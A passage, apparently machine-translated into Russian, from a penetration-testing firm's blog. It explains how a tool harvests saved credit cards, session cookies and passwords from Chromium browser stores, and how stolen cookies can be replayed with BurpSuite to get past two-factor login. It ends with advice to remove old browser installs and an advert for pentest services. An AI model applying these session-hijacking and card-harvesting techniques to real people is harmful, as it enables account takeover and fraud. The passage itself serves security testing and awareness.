А вот здесь, как видите, я мог бы зарыть лед. Chromium хранит множество вещей в базах данных SQLite и «защищает» их так же, как и пароли. Те авторы вредоносных программ, которых определила Trend Net, многое оставили на столе. «Кредитные карты» сразу бросаются в глаза. Получаем номер карты, имя и срок действия. Все, кроме кода безопасности на обороте. Также подумайте о «куки». Конечно, у вас может быть двухфакторная аутентификация, поэтому для входа в систему недостаточно только вашего имени пользователя и пароля. Но теперь у меня есть ключ сеанса, найденный в файлах cookie, и я могу просто притвориться, что вы используете его с помощью инструмента. как BurpSuite.
Как пентестер, если я смогу получить сеанс входа в систему и запустить свою программу BrowserScan , я буду танцевать счастливый танец по всему офису. Люди повторно используют пароли. Я ожидаю, что по крайней мере один восстановленный пароль можно будет использовать для дальнейшего доступа в сеть. Как вы думаете, как пройдет мой отчет о пентестах, если я смогу показать генеральному директору, что мне удалось получить номер ее кредитной карты?
И последнее: я был удивлен, когда запустил этот инструмент на своем локальном компьютере. Я давно перешел на Brave, и прошло больше года с тех пор, как я перестал позволять браузеру сохранять какие-либо пароли. Инструмент неустанно ищет установки Chromium и нашел мою старую установку Google Chrome. Этот образец вывода выше в Рисунок 2 взят из этой заброшенной установки. Убедитесь, что после того, как вы защитили свой браузер, зайдите в Проводник и удалите эти старые установки браузера.
Узнайте больше о нашем внутреннем тесте или тесте «предполагаемой компрометации» сегодня. Наши сертифицированные пентестеры проанализируют вашу сеть, чтобы предоставить подробный анализ и отчеты, которые вы можете использовать для дальнейшей защиты вашей сети.